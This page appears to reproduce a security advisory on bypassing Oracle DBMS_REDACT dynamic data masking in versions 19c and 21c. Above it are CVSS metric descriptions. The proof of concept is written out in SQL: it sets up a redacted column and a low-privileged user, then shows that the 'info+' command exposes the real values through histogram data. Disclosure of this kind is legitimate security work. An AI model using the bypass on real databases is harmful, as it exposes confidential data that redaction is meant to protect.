The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Oracle DBMS_REDACT Dynamic Data Masking Bypass
Title: ByPassing DBMS_REDACT Dynamic Data Masking security feature in Oracle database system
Product: Database
Manufacturer: Oracle
Affected Version(s): 19c,21c
Tested Version(s): 19c,21c
CVE Reference: N/A
Author of Advisory: Emad Al-Mousa
Overview:
DBMS_REDACT package provides an interface to Oracle Data Redaction, which enables you to mask (redact) data that is returned from SQL queries. Basically, its dynamic data masking. security policies are configured and enabled through dbms_redact package.
This is a security feature but doesn't provide a bullet proof data protection, as I will simulate how easily it can be bypassed and masked datacan be extracted/viewed.
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Proof of Concept (PoC):
In the database I will create a table called HR.TABLE2 and will create an index on SALES column and insert dummy tables.
SQL> CREATE TABLE HR.TABLE2( COMPANY_NAME VARCHAR2(10 BYTE), REGION VARCHAR2(10 BYTE), SALES NUMBER(12), DIVISION_NAME VARCHAR2(12));
SQL> CREATE INDEX HR.IDX_TABLE2_SALES ON HR.TABLE2(SALES);
SQL> Insert into HR.TABLE2 values ('COMPANY_A','EU',120000000,'INDUSTRIAL');
SQL> Insert into HR.TABLE2 values ('COMPANY_B','ASIA',170000000,'RETAIL');
SQL> Insert into HR.TABLE2 values ('COMPANY_C','ME',40000000,'SHIPMENT');
SQL> Insert into HR.TABLE2 values ('COMPANY_D','AFRICA',11000000,'FARMING');
SQL> Insert into HR.TABLE2 values ('COMPANY_E','LATIN-AM',114000000,'SHIPMENT');
SQL> Insert into HR.TABLE2 values ('COMPANY_F','NORTH-AM',190000000,'RETAIL');
SQL> commit;
I will create a redaction policy as SYS user against SALES column in the table HR.TABLE2:
sqlplus / as sysdba
SQL> begin dbms_redact.add_policy( object_schema => 'HR', object_name => 'TABLE2', column_name => 'SALES', policy_name => 'REDACT_HR_SALES', function_type => DBMS_REDACT.FULL, expression => '1=1'); end;/
I will create a user called "roro" in the pluggable database ORCLPDB1 with create session and "SELECT" permission ONLY on the table:
sqlplus / as sysdba
SQL> alter session set container=ORCLPDB1;SQL> create user roro identified by dummy_123;SQL> grant select on HR.TABLE2 to roro;
connecting using account roro to the database using "SQL Developer Tool" or SQLCL and execute the following command:
info+ HR.TABLE2;
The histogram data for SALES column will show the actual vaules stored in the redacted column.
Conclusion: So the security feature was bypassed with no excessive privileges required to be granted to the database account, I utilized the info+ command only.
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References:
https://docs.oracle.com/database/121/ASOAG/introduction-to-oracle-data-redaction.htm#ASOAG852
https://databasesecurityninja.wordpress.com/2023/01/03/bypassing-dbms_redact-dynamic-data-masking-security-feature-in-oracle-database-system/
Thanks,Emad
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